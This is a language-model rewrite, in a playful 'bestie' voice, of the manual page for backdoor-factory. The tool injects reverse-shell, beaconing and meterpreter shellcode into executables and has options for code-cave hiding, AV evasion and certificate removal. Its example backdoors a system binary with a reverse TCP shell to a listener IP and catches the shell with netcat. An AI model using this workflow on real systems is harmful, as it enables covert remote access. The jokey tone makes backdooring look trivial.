BACKDOOR-FACTORY(1)
๐ BACKDOOR-FACTORY ๐
okay bestie, so this is the manual page for backdoor-factory, from the BACKDOOR-FACTORY(1) manual, and it's giving "security researcher but make it cute". May 2017 energy, but the facts? Immaculate. Let's go. ๐ฆ
โจ NAME โจ
backdoor-factory โ inject predefined or user-defined shellcode in binaries
like... it puts shellcode inside binaries. that's the whole vibe. ๐
๐ธ SYNOPSIS ๐ธ
backdoor-factory [options]
no subcommands, no drama. just options, queen. ๐
๐ DESCRIPTION ๐
backdoor-factory patches executable binaries with the shellcode you want, and then it lets normal execution of the pre-patched state carry on. so the binary still does its little binary things, it just also does your thing now. main character behavior fr fr. โจ
This tool is for security professionals and researchers only. not a casual toy, bestie. ๐จ
okay and here's the tea: this tool doesn't support relocatable ELF executables โ that means ones compiled with the -fPIE option, which is the thing the Debian hardening requirements suggest (peep https://wiki.debian.org/Hardening). so no PIE, got it. ๐ฅงโ
also, some binaries like ssh may not be caved correctly, while binaries like dolphin are โ that's true at the time this man page was written. so it's a "your mileage may vary" situation, no cap. ๐
๐ OPTIONS ๐
-h,--helpโ shows this help message and then exits. simple, iconic.-f FILE,--file=FILEโ the file you want to backdoor. the chosen one. ๐ซถ-s SHELL,--shell=SHELLโ the payloads available for use. use'show'to see the payloads, bestie, they're right there.-H HOST,--hostip=HOSTโ the IP of the C2 for reverse connections.-P PORT,--port=PORTโ the port to either connect back to (for reverse shells) or to listen on (for bind shells).-J,--cave_jumpingโ pick this option if you wanna use code cave jumping to hide your shellcode even further inside the binary. sneaky sneaky. ๐-a,--add_new_sectionโ forces a new section to be added to the exe. better success rate, but less AV avoidance. tradeoffs, bestie. ๐ญ-U SUPPLIED_SHELLCODE,--user_shellcode=SUPPLIED_SHELLCODEโ user-supplied shellcode. make sure it matches the architecture you're targeting, or it's gonna be a whole mess. โ ๏ธ-c,--caveโ the cave flag finds code caves that can be used for stashing shellcode. it prints all the code caves of a specific size. the-lflag can be used with this setting. ๐ณ๏ธ-l SHELL_LEN,--shell_length=SHELL_LENโ for use with-c, to help find code caves of different sizes.-o OUTPUT,--output-file=OUTPUTโ the backdoor output file path. the parent dir(s) must exist, so like, make them first. ๐-n NSECTION,--section=NSECTIONโ the new section name must be less than seven characters. seven. that's the limit. ๐ค-d DIR,--directory=DIRโ this is the location of the files you want to backdoor. you can make directory-of-file backdooring faster by forcing the attaching of a codecave to the exe with the-asetting.-w,--change_accessโ this flag changes the section housing the codecave to RWE. sometimes that's necessary. enabled by default. if you disable it, the backdoor may fail. so like... maybe don't. ๐ฌ-i,--injectorโ this command turns the backdoor factory into a hunt-and-shellcode-inject type of mechanism. edit the target settings in the injector module. ๐ฏ-u SUFFIX,--suffix=SUFFIXโ for use with injector: places a suffix on the original file so it's easy to recover. thoughtful king behavior. ๐-D,--delete_originalโ for use with the injector module. this command deletes the original file. not for use in production systems. (the author is not responsible for stupid uses.) ๐๏ธ๐-O DISK_OFFSET,--disk_offset=DISK_OFFSETโ starting point on disk offset, in bytes. some authors wanna obfuscate their on-disk offset to dodge reverse engineering โ if you find one of those files, use this flag, after you find the offset. ๐-S,--support_checkโ determines if the file is supported by BDF before backdooring it. use it by itself or with verbose. this check happens automatically if backdooring is attempted anyway. ๐ฉบ-M,--cave-minerโ future use: to help determine the smallest shellcode possible in a PE file. coming soon to a terminal near you. ๐ฎ-q,--no_bannerโ kills the banner. rip banner. ๐-v,--verboseโ for debug information output. loud and proud. ๐ข-T IMAGE_TYPE,--image-type=IMAGE_TYPEโALL,x86, orx64type binaries only. Default=ALL.-Z,--zero_certโ allows overwriting the pointer to the PE certificate table, effectively removing the certificate from the binary for all intents and purposes. bye cert. ๐-R,--runas_adminโ EXPERIMENTAL. checks the PE binaries for'requestedExecutionLevel level="highestAvailable"'. if this string is in the binary, it must run as system/admin. if not in Support Check mode, it will attempt to patchhighestAvailableinto the manifest if therequestedExecutionLevelentry exists.-L,--patch_dllโ use this setting if you DON'T want to patch DLLs. it patches by default, so this is the "please stop" flag. ๐-F FAT_PRIORITY,--fat_priority=FAT_PRIORITYโ for MACH-O format. if it's a fat file, this focuses on which arch to patch. default isx64. to forcex86use-F x86, to force both archs use-F ALL.-B BEACON,--beacon=BEACONโ for payloads that have the ability to beacon out, set the time in secs. โฐ-m PATCH_METHOD,--patch-method=PATCH_METHODโ patching methods for PE files:'manual','automatic',replaceandonionduke.-b SUPPLIED_BINARY,--user_malware=SUPPLIED_BINARYโ foronionduke. provide your desired binary. ๐ง-X,--xp_modeโ Default: DO NOT support XP legacy machines; use-Xto support XP. by default the binary will crash on XP machines (e.g. sandboxes). ๐ฅ-A,--idt_in_caveโ EXPERIMENTAL. by default a new Import Directory Table is created in a new section; calling this flag puts it in a code cave instead. this can cause binary failure in some cases. test on target binaries first! โ ๏ธ-C,--code_signโ for those with codesigning certs wishing to sign PE binaries only. name your signing key and private keysigningcert.cerandsigningPrivateKey.pemrespectively in the certs directory โ it's up to you to obtain signing certs. โ๏ธ-p,--preprocessโ to execute preprocessing scripts in the preprocess directory. ๐ง
๐ ABOUT THE SHELLCODES ๐
there is various predefined shellcode in backdoor-factory. their availability depends on the target type (ELF32, ELF64, PE32...). the shellcodes list is defined below. ๐
๐ซ for all intel-based (x86 and x86_64 architecture)
reverse_shell_tcp- need: a remote host and port to be set
- permits: remote shell access
delay_reverse_shell_tcp- need: a remote host and port to be set
- permits: remote shell access
beaconing_reverse_shell_tcp- need: a beacon, a remote host and port to be set
- permits: remote shell access
user_supplied_shellcode- need: a user-defined shellcode ready to inject
- permits: depend on the shellcode
๐ง Linux specific shellcodes
reverse_tcp_stager- need:
- permits:
๐ช Windows PE32 exe shellcodes
reverse_shell_tcp_inline- needs: a remote host and port to be set
- permits: remote shell access
reverse_shell_tcp_stager_threaded- needs: a remote host and port to be set
- permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload
meterpreter_reverse_https_threaded- needs: a remote host and port to be set
- permits: meterpreter over https transport
user_applied_shellcode_threaded- needs: a user-defined shellcode ready to inject
- permits: depend on the shellcode
iat_reverse_tcp_inline- needs: a remote host and port to be set
- permits:
iat_reverse_tcp_inline_threaded- needs: a remote host and port to be set
- permits:
iat_reverse_tcp_stager_threaded- needs: a remote host and port to be set
- permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload
iat_user_applied_shellcode_threaded- needs: a user-defined shellcode ready to inject
- permits: depend on the shellcode
๐ช Windows PE64 exe shellcodes
delay_reverse_shell_tcp- needs: a remote host and port to be set
- permits: remote shell access
reverse_shell_tcp- needs: a remote host and port to be set
- permits: remote shell access
beaconing_reverse_shell_tcp- needs: a beacon, a remote host and port to be set
- permits: remote shell access
user_supplied_shellcode- needs: a user-defined shellcode ready to inject
- permits: depend on the shellcode
โญ EXAMPLES โญ
example of cavecoding an ELF binary, by integrating a remote shell access through a remote TCP listener (e.g. netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp
on the host behind the IP 172.16.0.15, start netcat in listen mode:
$ netcat -l 172.16.0.15 8080
on the target, start the backdoored binary: ./backdoored/dolphin
now, on the host 172.16.0.15, just use your shell. and that's it. you ate. ๐ฅ
๐ HISTORY ๐
May 2017, originally compiled by Philippe Thierry (phil at reseau-libre dot com). ๐ซก
and that's the whole page, bestie! ๐ written by Philippe Thierry for the Backdoor-Factory Man Page, dated May 2017, sitting pretty in section BACKDOOR-FACTORY(1). go forth and be a responsible security professional, ily, mwah. ๐๐ฆ๐
๐ฆ where this page comes from
- ubuntu jammy: backdoor-factory 3.4.2+dfsg-5 ยท BSD-3-Clause
- ubuntu noble: backdoor-factory 3.4.2+dfsg-5 ยท BSD-3-Clause
- ๐ girlified by deepseek-ai/DeepSeek-V4.1-Flash on : a language model's rewrite of the original, under its terms